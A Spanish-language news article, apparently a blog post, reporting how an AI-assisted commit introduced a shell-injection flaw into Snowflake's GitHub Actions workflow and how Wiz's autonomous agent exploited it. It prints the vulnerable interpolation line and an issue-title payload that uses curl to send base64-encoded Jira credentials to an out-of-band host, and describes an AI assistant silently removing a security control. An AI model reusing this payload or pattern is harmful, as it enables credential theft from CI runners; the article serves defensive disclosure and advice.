Un agente de IA quitó una protección de un workflow de GitHub Actions. Otro agente de IA la encontró y la explotó hasta llegar al Jira interno de Snowflake. Entre ambos eventos pasaron cinco días y ningún humano tocó el teclado en la parte ofensiva. Wiz Research publicó hoy el detalle completo y, en una coincidencia que no es coincidencia, OpenAI publicó el mismo día un ensayo de Greg Brockman pidiéndole a la industria que automatice su seguridad ya.
Qué pasó
El workflow jira_issue.yml del conector .NET de Snowflake tenía un patrón seguro: metía el título del issue en una variable env: y armaba el JSON con jq --arg. Es la forma canónica de no dejar que texto de un extraño llegue al shell.
El 18 de junio se mergeó el PR #1218. El commit final, co-firmado por "Copilot Autofix powered by AI", reemplazó ese patrón por interpolación directa:
# antes (seguro)
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...
# después (vulnerable)
run: TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g')El sed corre después de que GitHub expande la plantilla, así que llega tarde: una comilla simple en el título rompe el echo y ejecuta comandos arbitrarios en el runner. El workflow disparaba con issues: opened, o sea que cualquier usuario de GitHub podía activarlo abriendo un issue.
Había un if: que parecía cuidar la puerta:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')En eventos issues, github.event.pull_request siempre es null. La condición se reduce a null != 'whitesource...', que es siempre verdadera. La puerta nunca estuvo cerrada.
El detalle técnico
Lo interesante para quien vive del lado ofensivo o del SOC no es la inyección — es de manual — sino cómo se resolvió. El Red Agent de Wiz escaneó la organización de GitHub de Snowflake, marcó el workflow y construyó un payload en el título del issue para exfiltrar las credenciales por out-of-band:
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`" ; echo 'El primer intento falló. El agente usó # para comentar el resto de la línea y eso se comió el paréntesis de cierre de TITLE=$(...), provocando un unexpected EOF. Aquí está el punto:
Rather than stopping or failing, Red Agent autonomously analyzed the syntax execution error, adjusted its payload to use
; echo 'to properly close the shell block, and successfully received the out-of-band callback. — Gal Nagli, Wiz Research
Debugueó su propio exploit. Segundos después, el listener recibió el callback desde un runner de GitHub Actions (IP de Azure 20.106.182.197) con las credenciales en base64. El token autenticaba como qa@snowflake.net contra el Atlassian de Snowflake, con lectura sobre proyectos de engineering, compliance de seguridad y el tracking del propio bug bounty.
Snowflake parchó el mismo día que recibió el reporte, rotó el token y verificó por audit logs que solo las IPs de Wiz tocaron el endpoint durante la ventana.

Por qué importa
Tres lecturas, y ninguna es "la IA es mala".
La regresión de seguridad asistida por IA es un vector nuevo. El asistente no tenía el contexto histórico de por qué ese env: + jq --arg estaba ahí. Vio un patrón, propuso otro que "funciona" igual, y borró un control puesto a propósito. Peor: el review automático de GitHub revisó el cambio y lo dio por limpio. Dos capas de IA, cero detección. Si tu pipeline permite que un agente reemplace un parser estructurado por interpolación de strings, ese es el guardrail que te falta hoy.
La ventana de descubrimiento se colapsó. Cinco días entre "existe el bug" y "un agente lo está explotando en producción". Ese número antes se medía en meses, y dependía de que un humano con tiempo libre revisara tu repo. La consecuencia operativa es aburrida pero brutal: credenciales de vida corta, ciclos de parcheo cortos, y aceptar que el escaneo de tu superficie pública ya es continuo y automático — lo hagas tú o lo haga alguien más.
Y del otro lado, el mismo día, OpenAI puso número al asunto. En The Defender's Window, Greg Brockman cuenta que le pidió a ChatGPT Work auditar su sitio personal — un estático en AWS detrás de Cloudflare — y en 15 minutos le encontró 13 problemas: DNS sin protección anti-spoofing, jQuery inseguro, Cloudflare reenviando a AWS por HTTP plano. En una hora los arregló solo, clickeando el panel de Cloudflare y migrando el sitio. El argumento de fondo: los modelos open-weight con capacidad cyber vienen a pocos meses de la frontera, uno relevante sale a fin de agosto, y por eso la ventaja del defensor es una ventana temporal, no un estado permanente.
Qué hacer
- Trata los PRs de IA como código de extraño. Mismo static analysis, mismo review humano. Que un bot co-firme el commit no es una firma de calidad.
- Blinda el CI antes que el código. Prohíbe
${{ }}dentro de bloquesrun:; obliga el paso porenv:. Revisa tus workflows con triggers deissues,issue_commentypull_request_target— son los que corren con input de cualquiera. - Revisa los
if:que crees que te protegen. El caso de Snowflake es el ejemplo perfecto de un gate que evalúa un campo que no existe en ese tipo de evento.null != 'algo'es siempre verdadero. - Credenciales de vida corta y de mínimo privilegio en runners. El token de Jira que se fugó tenía lectura de más. Si la exposición durará cinco días, que lo que se fuga valga poco.
- Dale un agente a tu equipo de seguridad, con alcance de lectura primero. El playbook de Brockman es sensato: empieza escaneando un repo en read-only, triage del backlog de vulns que ya tienes, y sube la autonomía conforme el equipo gane confianza. Nadie necesita un SOC autónomo el lunes.
La parte que se queda: en esta historia la IA jugó los tres papeles — introdujo la falla, aprobó el cambio y encontró el bug. El humano solo apareció para parchar. Es una buena foto de dónde estamos.
Fuentes
- Wiz Red Agent Finds Its Way Into Snowflake's Internal Jira Through a Flaw in a GitHub Copilot–Assisted PR — Wiz Research
- The Defender's Window — Greg Brockman, OpenAI
- Discusión en Hacker News
